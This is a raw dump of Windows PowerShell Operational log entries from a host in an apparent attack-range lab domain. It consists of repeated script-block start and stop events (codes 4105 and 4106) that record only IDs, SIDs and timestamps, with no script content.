LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045226
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045224
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045222
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045221
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045220
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045219
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045218
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045216
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045215
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045214
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045212
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045211
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045210
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045209
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045208
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045206
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045205
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045204
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045203
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045202
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045201
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045200
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045199
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045198
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045197
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045196
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045195
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045194
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045192
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045190
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045188
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045187
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045186
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045182
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045181
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045180
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045179
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045178
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045177
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045176
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045175
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045174
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
